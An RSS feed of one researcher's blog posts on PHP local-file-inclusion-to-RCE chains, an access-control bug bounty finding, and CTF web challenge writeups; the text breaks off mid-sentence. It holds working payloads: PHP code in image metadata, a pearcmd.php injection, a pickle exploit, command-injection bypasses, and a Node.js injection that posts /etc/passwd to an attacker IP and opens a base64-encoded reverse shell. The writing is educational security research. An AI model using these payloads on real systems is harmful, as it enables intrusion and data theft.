<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Abdelhameed Ghazy on Medium]]></title>
        <description><![CDATA[Stories by Abdelhameed Ghazy on Medium]]></description>
        <link>https://medium.com/@abdelhameedghazy?source=rss-d800e8fa187e------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*yMh7gnWN3sxp4pio</url>
            <title>Stories by Abdelhameed Ghazy on Medium</title>
            <link>https://medium.com/@abdelhameedghazy?source=rss-d800e8fa187e------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:33:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@abdelhameedghazy/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[5 Ways to chain lfi 2 rce with default configurations in php]]></title>
            <link>https://abdelhameedghazy.medium.com/5-ways-to-chain-lfi-2-rce-with-default-configurations-in-php-4d3b839a4cc3?source=rss-d800e8fa187e------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d3b839a4cc3</guid>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[research]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[lfi]]></category>
            <dc:creator><![CDATA[Abdelhameed Ghazy]]></dc:creator>
            <pubDate>Thu, 10 Aug 2023 19:35:26 GMT</pubDate>
            <atom:updated>2023-08-27T16:44:31.964Z</atom:updated>
            <content:encoded><![CDATA[<p>Al Salamu Alikum all,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*LS8TKeWHPeLuJR_6E5ly5Q.jpeg" /></figure><p>Today i will explain how to chain lfi 2 rce with the default configuration in php using these methods:</p><ol><li>Php filter chain</li><li>php image upload</li><li>Php sessions</li><li>Phpinfo race condition</li><li>php lolbins</li></ol><h3>Summary about lfi:</h3><p>LFI stands for (Local File Inclusion) which is a bug happens when the developer passes an input that user can control into “include()” php function.</p><p><strong>what is “include()” php function used for ?</strong></p><p>It’s used to include another php code that stored in a file to be executed in our page.</p><p>So, this function takes a filename and executes the php code inside it in our page !</p><p>Some developers thoughts that the file extension must be “.php” or at least started with “&lt;?php” to be executed. but the truth that we can put any garbage data at the begininng of the file and at the end of it and the server will search for `&lt;?php #code_here?&gt;` and execute the code between the php start and end tags whatever the another file content was !</p><h3>First Method : php filter chains</h3><p>php filters help us to dealing with files and encode/decode or translate it’s content.</p><pre>Around the world, there are nearly 7000 spoken languages. <br>In order to allow most people on Earth to benefit from the internet <br>and to communicate with each other, many printable characters <br>have to be enabled. We all know our basic ASCII encoding table, but <br>it is far too small to speak in Japanese, or even in Greek which contains <br>characters such as &#39;λ&#39;, &#39;ν&#39;, &#39;π&#39;. Thus, to be able to print characters <br>from other languages, or even emojis, ☺, many encoding tables were <br>created to convert or even translit characters from one <br>language to another when possible.<br><br>//embedded from https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html</pre><p><strong>How can we use this to chain lfi to rce ?</strong></p><p>Since we can use more than filter to process the file so, the idea rely on create a temp file using php://temp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iPZfy7WjNw2ZGNKjwtr6Rw.png" /></figure><p>and then use iconv filter to construct our payload;</p><p>we can automate this process using this exploit</p><p><a href="https://github.com/synacktiv/php_filter_chain_generator">GitHub - synacktiv/php_filter_chain_generator</a></p><p><strong>POC :</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yk4ZgEOFJwUlP-5OFIxYqA.png" /></figure><p><strong>Second Method : Php image upload</strong></p><p>As i mentioned before we can include any file and code between php start and end tags will be executed and the server will ignore the rest file content.</p><p>But what if the developer checking if it’s a non-corrupted img ?</p><p>So, we can basiclly inject our code into image meta data like this :</p><pre>exiftool -Comment=&quot;&lt;?php system(&#39;id&#39;);die();?&gt;&quot; exp.jpg<br>//i used die to clear the grabage data from the img so, we can get our output easily</pre><p><strong>POC:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHY4OP3aE8vYLm4Cz8PhOQ.png" /></figure><h3><strong>Third Method : Using php sessions</strong></h3><p>Php sessions used by developers to store some variables realted to the current session.</p><p><strong>Example :</strong></p><p>When the user logged in the developer will get his neccessary data from the db like : username, email and balance …etc and then store it in the session so, he can access it easily when ever he want.</p><p>the php session stored in browser as an cookie called : PHPSESSID and holds the php session id . so, the developer can access it from any page he want within the same site</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EOOCagE9kQD6eLAPx67r8A.png" /></figure><p><strong>Since we can include files only how we can include php sessions ?</strong></p><p>Actually php sessions stored it’s variables as a file in the system. this file location may changes from php version to another but there are two common places !</p><ol><li>/tmp/session_{id} // in old php versions</li><li>/var/lib/php/sessions/sess_{id} //in current php versions</li></ol><p>i made this simple php script to just assign a session variable called username with the value that we can control and the normal lfi bug</p><pre>&lt;?php<br><br>session_start();<br><br>$_SESSION[&quot;username&quot;]=@$_GET[&#39;username&#39;];<br>include(@$_GET[&#39;file&#39;]);<br>?&gt;</pre><p>after we put ?username=ghazy we can find our seesion file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/510/1*9UGwJ33FLoPHteABQ1HhLA.png" /></figure><p>we can see our input is saved into a system file !</p><p>so, we can just put a php code inside it and include it since we know the path and the session id (from the cookie)</p><p><strong>POC</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q29oNE5NDKF8KTrUDFZ3ug.png" /></figure><h3>Forth Method : Using phpinfo ( race condition )</h3><p>Phpinfo : is a file returns info about the php configuration and the system that running it. widely used by developers for debugging.</p><p><strong>How we can use it with lfi to acheive rce ?</strong></p><p>First we must know what when we upload any file in php it’s saved to random_name that started with php under /tmp folder</p><p>like: /tmp/phponOtcA</p><p>and then this file will be deleted after the execution of php page that we uploaded to is done.</p><p>So, if we had this tmp file name we can easily pass it to include function to include it.</p><p><strong>How we can leak the tmp file name ?</strong></p><p>If we uploaded the file to phpinfo we can leak the tmp name</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/612/1*SUC4mluxRmHlCaTt31OHdw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ohLjCIeJXoxmEjQrH4-aEA.png" /></figure><p>so, our exploit will relay on race condition by uploading our php file to phpinfo and leak the tmp_name and then pass it into the lfi param</p><p>my script : <a href="https://github.com/abdoghazy2015/CTF-Write-Ups/blob/main/phpinfo_race.py">https://github.com/abdoghazy2015/CTF-Write-Ups/blob/main/</a>RandomScripts/<a href="https://github.com/abdoghazy2015/CTF-Write-Ups/blob/main/phpinfo_race.py">phpinfo_race.py</a></p><p>POC:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/535/1*bieHO0wk3vPoeSOS76BcWg.png" /></figure><h3>Fifth Method : Using a php lolbins</h3><p>there are some php files that comes with phpitself can be included and help to inject php code</p><p>one of these files and the most famous one is pearcmd.php that comes with php docker images.</p><p>we can exploit it by these steps :</p><ul><li>write our code into configuration file</li></ul><pre>?style=../../../../usr/local/lib/php/pearcmd.php&amp;+-c+/tmp/foo.php+-d+man_dir=&lt;?echo(system(\$_GET\[&#39;a&#39;\]));?&gt;+-s+&quot;</pre><ul><li>include it</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ttZBxyRlVYVUSY_Ya49vhg.png" /></figure><h3>Resources :</h3><ol><li><a href="https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html">https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html</a></li><li><a href="https://insomniasec.com/cdn-assets/LFI_With_PHPInfo_Assistance.pdf">https://insomniasec.com/cdn-assets/LFI_With_PHPInfo_Assistance.pdf</a></li><li><a href="https://twitter.com/phithon_xg/status/1455534506744717323?lang=ar">https://twitter.com/phithon_xg/status/1455534506744717323?lang=ar</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d3b839a4cc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Broken Access Control leads to full team takeover and privilege escalation]]></title>
            <link>https://abdelhameedghazy.medium.com/broken-access-control-leads-to-full-team-takeover-and-privilege-escalation-6f50174f29ce?source=rss-d800e8fa187e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6f50174f29ce</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Abdelhameed Ghazy]]></dc:creator>
            <pubDate>Wed, 12 Oct 2022 12:17:40 GMT</pubDate>
            <atom:updated>2022-10-12T14:52:50.174Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello all,</p><p>Today I will share one of the most finding that I was interested in while finding it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*N0vo15c_lUVvRJ0Ee2Zs1Q.png" /></figure><p>Our target provides teams with two privileges member and admin. <br>the team had some sensitive data like credit cards</p><p>After testing the functions I went to invite users function</p><p>the admin is the only one who can invite new members to the team</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/306/1*xaGxvOTTnRh61NzUDfH6tA.png" /></figure><p>as you see there is a request to a Graphql with Cookies and Authorization header in the request<br>and the request parameters :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*t06VP8YPBprs2vc6-2tmuQ.png" /></figure><p>1- account id that holds the team id <br>2- inviteeEmailAddress: the email address of the user that will be invited<br>3- inviterId: the id of the admin of this team <br>4- roleName: it can hold between two values ( member or admin )</p><p>The first thing i tried is to remove the cookies and then the authorization header and I notices that the server responded with 200 ok and the request was processed successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*THAlNefacdj85d0zlitRlg.png" /><figcaption>the modified request without authentication or authorization element</figcaption></figure><p>and I received the invitation to my email successfully</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*iq4Pdtfb0Yu26bUYp8ZFew.png" /></figure><p>so now we know that the request depends on the parameters only</p><p>There are two attack scenarios :</p><p>1- Privillige Escallation</p><p>as a member of the team, i can see the team id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/314/1*29IQ_GQag6F28vwg3FYO3A.png" /></figure><p>so I only need to get the inviter id ( admin id )</p><p>but how can I get this user id ???<br>first, I found the admin email in the members section on the team page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*asGuRavkIZlEIOU0CzAv2w.png" /></figure><p>so I started thinking about how to interact with him so the id may be Leaked in any request <br>Note that there are no public profiles for any user <br>after some digging, I decided to invite the victim user to join my team (hacker team )</p><p>After I sent an invitation to the victim account to join my team ( Hacker Team)</p><p>I noticed that his membership is pending for his confirmation then after I go through the burp suite history I found a request to get the team data so I repeated this request again and boom I found the victim id</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*8z5d099OweEEum2E2n0aOA.png" /></figure><p>note that I got the victim&#39;s id without any interaction from him</p><p>and then I sent the invite request again with the required parameters</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*4lNrUUj9rdH8N-L1TW-f8w.png" /></figure><p>finally, i received the invitation to my email and after accepting it I became an admin and take over the victim team with zero clicks from him</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6f50174f29ce" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WICS and Sans Bootup CTF Web Challenges Writeup]]></title>
            <link>https://abdelhameedghazy.medium.com/wics-and-sans-bootup-ctf-web-challenges-writeup-1eaef85eb36a?source=rss-d800e8fa187e------2</link>
            <guid isPermaLink="false">https://medium.com/p/1eaef85eb36a</guid>
            <dc:creator><![CDATA[Abdelhameed Ghazy]]></dc:creator>
            <pubDate>Sun, 15 Nov 2020 23:02:11 GMT</pubDate>
            <atom:updated>2020-11-17T18:01:29.478Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello EveryOne Iam AbdoGhazy From 0xLaugh Team ,<br>Alhamudllah We Got The Second Place At The WICS SANS Bootup CTF :) 3&gt;<br>Today I wil explain to you how we solve the web Challeges 3&gt;<br>i will not explain the all things because now i was traveled to another city and i don’t have my laptop :(</p><p>The First Challenge : WE-01<br>it was a very very easy challenge <br>when i entered the challege i found this gif :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*V5oG_dcy1mwghruy3bPsXA.png" /></figure><p>and as usual i do directory bruteforcing and i found a path called /security/<br>when i entered it i found a flag as you see :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/621/1*AG9vmEYwbeXmb6HiswhSRA.png" /></figure><p>The Second Challenge : We-02<br>at first i found simple login form :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*CJRQ2ZTZ7QDOcr6s2ktBjQ.png" /></figure><p>first i tried to enter default login and sqli but unfortunately i didn’t get any thing so i started looking at the source code if i found any interested data <br>and i found this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u2mIs2e6rCKd9Onegz1TeQ.png" /></figure><p>there is two scripts on of them is hex encoded so , at first i tried to decoded it but i failed :( <br>so i start looking at the second script and at the end of it i found that there is a function checks if the username= root and password = d <br>( d ) is a variable has some operation from another variables so i understand that if i want to reduce the time i will need a js compiler to get the value of the variable d <br>so iam opening the browser console :D <br>and copied the code from the source and alert the value of the d as you see :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fxr8eSHS6gr1H6PeV0i9Qw.png" /></figure><p>then i tooked it and set user name to root and password to this value : aVHtf0Myk5RDpbW<br>and i got the flag Alhamdullah :)</p><p>The Third Challenge : We-03 <br>it was a very very very very very very eeasyyyyyyyyyyy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*Sb5J_HESAzT9IN1KdaXNQw.png" /></figure><p>so i started to do directory brute forcing and i found scurity path also but it didn’t change any thing<br>so i think to open robots.txt and i found this :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*C5XBlL7B-2nCc26fJ55cEA.png" /></figure><p>so let’s open this path and see what’s inside xD</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*eTs1dxKCUYYN1ADkOhzc2w.png" /></figure><p>as you see it’s a flag :)</p><p>so let’s Continue to the forth Challenge :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*VL7b8Pc-6DJCB1KNTT7klA.png" /></figure><p>as you see in the decription we can you username : bill &amp; password : gates</p><p>so let’s login :)</p><p>once you login you will get the cookie with name login and value {“id”: 82, “data”: {“username”: “bill”, “privilege”: “user”}}<br>so as you see it’s a json data so the first thing i tried to change the username to admin and privileges to admin also<br>{“id”: 82, “data”: {“username”: “admin”, “privilege”: “admin”}} but that’s the result and unfortunately there’s no flag :(</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*EdmAr4QS291DA0zcKUBngQ.png" /></figure><p>so let’s take a look into the source code we will find an interesting code :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8vylUAZd3rDLjBkvDwGlHQ.png" /></figure><p>simply it’s take the id parameter and send post request to an api in the json data<br>so let’s open the api and send the request <br>sorry , i don’t have any photos because iam using my friend laptop and he didn’t have burp suite and i can’t download it sorry :( <br>so the api takes the id of the user and returns some information about him <br>so let’s generate numbers from 0 to 100 and maybe we will find information about the admin , actually i thinked it will be with id 0 or 1 but unfortunately it’s not :(<br>then i send the request to the burp intruder and get some information <br>and alhamudllah i found the admin data at id 71 and got the flag also xD</p><p>The Fifth Challenge : wm02</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*9FdNwy5dAmvGkuV325PLAA.png" /></figure><p>as you see it’s take an input from us and do some things i don’t know :( and gives us time <br>so i tried to get sql injection or xss but nothing worked :( <br>so i started testing rce or command injection :)<br>when i added semicolon to break the command and add whomai and Alhamdullah it’s worked :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*RqSSLU0PGyQXQtwjAj07oA.png" /></figure><p>so i tried to ls -lah and i found hidden file : .flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*K0rGUu0d2w_i7wFQz-jpUQ.png" /></figure><p>so let’s read it by cat .flag.txt and get the flag :)</p><p>The Sixth : Wh01<br>it’s The Same of the fifth challenge but with some filters</p><p>as you see it’s filtered the simicolon so we can replace it with &amp;&amp;<br>so let’s do some commands like whoami</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*MC3UsjJ_Yvf9Fq9OHGrsTg.png" /></figure><p>so Alhamdullah We baypassed the First Filter and Could Execute Command :) <br>after this i tried to do ls -lah but unfortenetly it didn’t work and i recognized that he filter the space so i asked My Team Mate Mahmoud Joo<br>and He Told Me That I Could Used ${IFS} and insted of the space and Alhamdullah It’s Worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*QIzu05ax1DpoAXJu3PWnrg.png" /></figure><p>as you see there is a folder called …<br>so i enterd it and read the flag by this command :)<br>1349361711.169942&amp;&amp;cd${IFS}…&amp;&amp;cat${IFS}flag.txt</p><p>The Last Challenge Was Solved By My Team Mate Mahmoud Joo : Wx-01<br>there is an input asked us to enter my name so when i entered abdo it’s reflected into the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*TSxueW12vBCqbsdF4UWdGw.png" /></figure><p>so as every one would think it’s an xss <br>so i tried simple xss payload : &lt;img src=1 onerror=alert(1) /&gt;<br>and the site printed : reload to see your message <br>after reloaded the xss alert appeard but there is no flag and i noticed that there’s cookie has base64 encodded value when i decoded it i got pickle data <br>after get back into the decreption and read it <br>i think it’s told us there is a variable called flag xD<br>after searching about pickle exploits i found theses awesome articles and finally i got this exploit <br>import pickle<br>import base64<br> <br>class RCE(object):<br> def __reduce__(self):<br> return (globals, () )<br> <br>class RCEStr(object):<br> def __reduce__(self):<br> return (str, (RCE(), ) )<br> <br>pickle_data = pickle.dumps({‘name’: RCEStr()})<br>payload = base64.urlsafe_b64encode(pickle_data)<br>print(payload.decode(‘utf-8’))</p><p>so let’s run this python code and get the final exploit :)<br>gASVPAAAAAAAAAB9lIwEbmFtZZSMCGJ1aWx0aW5zlIwDc3RylJOUjAhidWlsdGluc5SMB2dsb2JhbHOUk5QpUpSFlFKUcy4=</p><p>it will retrieve all global variables from the program ;)</p><p>so, if we put it in userdata cookie we will got the flag :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/1*2BBqRrF1uULwHaK8M-4sXg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1eaef85eb36a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Dark Army CTF 2020 WriteUp]]></title>
            <link>https://abdelhameedghazy.medium.com/dark-army-ctf-2020-writeup-920fea9a08f9?source=rss-d800e8fa187e------2</link>
            <guid isPermaLink="false">https://medium.com/p/920fea9a08f9</guid>
            <dc:creator><![CDATA[Abdelhameed Ghazy]]></dc:creator>
            <pubDate>Sun, 27 Sep 2020 13:42:00 GMT</pubDate>
            <atom:updated>2020-09-27T19:17:34.100Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello All We hope All OF you Are Fine<br>This Is Our Write-up For Dark Army CTF (Web Challenges) Alhamdullah We could Slove 8 From 10 <br>Before All, its Was a Very Intersting competition :)</p><p>Let’s Starting With the First Challenge (Web/Source)<br>Player : Abdelhameed Ghazy<br>Discreption: Don’t know source is helpful or not !!<br>and he give you a file and a link</p><p>First i opened The Link and did’nt find any interest thing <br>so let’s open the file ….<br>it’s the Source OF This page in the link xD<br>and i found this Intersting code :<br>&lt;?php<br>$web = $_SERVER[‘HTTP_USER_AGENT’];<br>if (is_numeric($web)){<br> if (strlen($web) &lt; 4){<br> if ($web &gt; 10000){<br> echo (‘&lt;div class=”w3-panel w3-green”&gt;&lt;h3&gt;Correct&lt;/h3&gt;<br> &lt;p&gt;darkCTF{}&lt;/p&gt;&lt;/div&gt;’);<br> } else {<br> echo (‘&lt;div class=”w3-panel w3-red”&gt;&lt;h3&gt;Wrong!&lt;/h3&gt;<br> &lt;p&gt;Ohhhhh!!! Very Close &lt;/p&gt;&lt;/div&gt;’);<br> }<br> } else {<br> echo (‘&lt;div class=”w3-panel w3-red”&gt;&lt;h3&gt;Wrong!&lt;/h3&gt;<br> &lt;p&gt;Nice!!! Near But Far&lt;/p&gt;&lt;/div&gt;’);<br> }<br>} else {<br> echo (‘&lt;div class=”w3-panel w3-red”&gt;&lt;h3&gt;Wrong!&lt;/h3&gt;<br> &lt;p&gt;Ahhhhh!!! Try Not Easy&lt;/p&gt;&lt;/div&gt;’);</p><p>AS You See Its Check The User Agent Value For 3 Conditions :<br> 1- it’s a Number OR Not <br> 2- Then Its Check the length is less than 4<br> 3- And Finally Check The Value Is Greater Than 10000<br> I Had Error For First Time When I Thinking How Maximum length is 3 and The Value Must Be Greater Than 10000<br> Then i Asked My Team What’s The Number by This Conditions And MMox Told Me To Try “1e1” i Got The Idea From Here And Tried 9e9 To Get The Maximum Number <br> And Alhamdullah We Got The Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*3bwGVLXDOZ3dOQNaBsearA.png" /></figure><p>Let’s Moving To The Third Challenge (Web/Simple_SQL)<br>Player : Abdelhameed Ghazy<br>Discreption: Try to find username and password</p><p>IT Was Very Easy XD <br>When i Entered The Link And View Page Source As Usual <br>I found The Comment Told Me To Try id As A parameter</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/275/1*yTOGyYq064rWhVLMymjU9Q.png" /></figure><p>So Let’s Try it XD <br>when I Tried To Set it id=1 to see What’s In This parameter<br>i GOT This :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/765/1*WHm7iz9W7VA2mp6dmY69Vg.png" /></figure><p>So I Continue Set A numbers And Got A random Value And Finally When I SeT IT id=8 I Fount THE Flag Alhamdullah</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QmotWpJUhltnGMYFSCnIMA.png" /></figure><p>let’s Move To The Third One Which Make Me Crazy :(<br>(Web/PHP İnformation) ,Player:Abdelhameed Ghazy<br>Discreption:Let’s test your php knowledge.</p><p>Just When You Entered The Link You Will Got The Source Code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*dVXN4iaWatkwbZ7T5OFCZg.png" /></figure><p>There is Some Funny IF Statments All Of Them Gives You Part From The Flag So Let’s Understanding Them One By One :)<br>For First Part</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*HRZv7UsjYJq7u5PFDCqLOA.png" /></figure><p>After Some Searching I Understand That To Get The First Part OF The Flag I Must Set Get Parameter Called darkctf and it’s Value = 2020<br>So Let’s Try It And Get The First Part OF the Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*LSUBfWaBOyPuCZv9jvHLtw.png" /><figcaption>First Part Of The Flag</figcaption></figure><p>For The Second Part</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*3ayetZNzX79bu5f_mYoE1w.png" /></figure><p>It Was Very Easy TO Understand : We Must Set The Header User-Agent By THE Base64 Decode For This Value (MjAyMF90aGVfYmVzdF95ZWFyX2Nvcm9uYQ==)<br>The Decoded Value Will Be (2020_the_best_year_corona)<br>So Let’s But IT in User-Agent Value And Get The Second Part OF the Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/240/1*3fhfLEh2pNp9hzWQFe9yUg.png" /><figcaption>Second Part OF The Flag</figcaption></figure><p>For The Third Part</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/551/1*IjTMdjTEcZRe53SpxyT44w.png" /></figure><p>it Was Like Part One But The Diffrence Here That We Will Encode This Value (ZGFya2N0Zi0yMDIwLXdlYg==) As A base64 Encode<br>It Will Be (WkdGeWEyTjBaaTB5TURJd0xYZGxZZz09) So Let’s Try To Put It into ctf2020 Get Parameter And Get The Third Part OF The Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/316/1*NoPGLlkF54E8EoUYg30EaA.png" /><figcaption>Third Part OF The Flag</figcaption></figure><p>Lets Move To The Hardest Part The Forth Part</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/522/1*2iyqpqlonkZi4xrl80NXUg.png" /></figure><p>There Is Two Get Parameters karma and 2020<br>The Condition Here Is They Must Be Diffrent Values But Has The Same MD5 Hash <br>That Was A Very Strange Thing For Me But After Some Searching And My friends Told Me That’s Called (md5 collision)<br>After 4 Hours From Searching Because None Example i Saw Worked <br>I tried To searching In Github And I found That Intersting Link :<br><a href="https://github.com/spaze/hashes/blob/master/md5.md">https://github.com/spaze/hashes/blob/master/md5.md</a><br>All Of These Strings Has The Same Md5 Hash <br>So Let’s Trying The First One And The Second One (QLTHNDT,QNKCDZO) <br>And Get The Forth Part Of the Flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ag3r-OeqJJvtsuEdG396Fg.png" /><figcaption>The Forth Part Of The Flag</figcaption></figure><p>Now Alhamdullah We Got The Four Parts Of The Flag :)</p><p>let’s Move To The Forth Challenge (Web/Dusty Notes)<br>Player:Abdelhameed Ghazy<br>Discreption:Sometimes some inputs can lead to flag<br>PS :- All error messages are intended<br>Flag is in /flag.txt <br>When You Enter The Link You Will See Some Thing Like A Board Contains Notes And There Is An Input Called Message Are Using For Adding New Notes <br>And The Notes Reflected Into The Board , So The First Thing I Tried Is XSS And Sqli But Unfortently It Didn’t Work :(<br>So I Use The Weppalyzer (Browser Extensions Gives İnformation About The Site ) And The Output Was The Website Built In Express Node-Js<br>At First I Searched For Express Node-Js Exploit And I Found “Exploiting Node.js deserialization bugfor Remote Code Execution(CVE-2017–5941)”<br><a href="https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf">https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf</a><br>I’ve Tried A Lot In This But Unfortently It Didn’t Work <br>After A Discussion With My Mate (SadC0der) He Told Me To Try Node-Js Code Injection From This WriteUp:<br><a href="https://www.doyler.net/security-not-included/nodejs-code-injection">https://www.doyler.net/security-not-included/nodejs-code-injection</a><br>So Let’s Strat Explain it :-<br>First Thing We Must Crash The Funtion To Get Some İnformation About It So I tried to Put (‘,/,\) In The Input And I Got This Error :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q7xF6oGvgPN-T84peIM_Uw.png" /></figure><p>So IF you See The Highlighted Words It’s Dust-Helpers Library (Same As The Writeup I Following) So I Thought That Iam in The Right Place :)<br>Follwing The Writeup I also attempted to send a message parameter as an Array instead of a string. Similar to the author<br><a href="http://dusty.darkarmy.xyz/addNotes?message[]=x&amp;message[]=&#39;">http://dusty.darkarmy.xyz/addNotes?message[]=x&amp;message[]=&#39;</a><br>Then I Noticed That IF I Put message[]=x&amp;&amp;message[]=s <br>The Note Will Be Printed As (x,s) So We Can Devide Our Payload <br>Let’s Execute Some Commands And Read The /etc/passwd Like The Writeup author</p><p><a href="http://dusty.darkarmy.xyz/addNotes?message[]=x&amp;message[]=y&#39;-require(&#39;child_process&#39;).exec(&#39;curl+-F">http://dusty.darkarmy.xyz/addNotes?message[]=x&amp;message[]=y&#39;-require(&#39;child_process&#39;).exec(&#39;curl+-F</a> “x=`cat+/etc/passwd`”+My ip’)-’<br>When I Use This Payload And Open Port Listner In My kali With (nc -lvnp 80) I Could Read The /etc/passwd file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*G0H6AmWtQhX9xnncDICquA.jpeg" /></figure><p>So I Also Confirm The Iam In The Right Path<br>Now Let’s Get A Reverse Shell !<br>With this Code We Can Get A Reverse SHell <br>y’-eval(new Buffer(“dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICIxNTYuMjE4LjE4My4xOTUiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==”, “base64”).toString())-’<br>let’s Analyzing It <br>It’s Eval Function Decoded This Base64 Value (dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCIvYmluL2Jhc2giKTsgdmFyIGNsaWVudCA9IG5ldyBuZXQuU29ja2V0KCk7IGNsaWVudC5jb25uZWN0KDgwODAsICIxNTYuMjE4LjE4My4xOTUiLCBmdW5jdGlvbigpe2NsaWVudC5waXBlKHNoLnN0ZGluKTtzaC5zdGRvdXQucGlwZShjbGllbnQpOyBzaC5zdGRlcnIucGlwZShjbGllbnQpO30pOw==) <br>The Decoded Value Will Be (var net = require(“net”), sh = 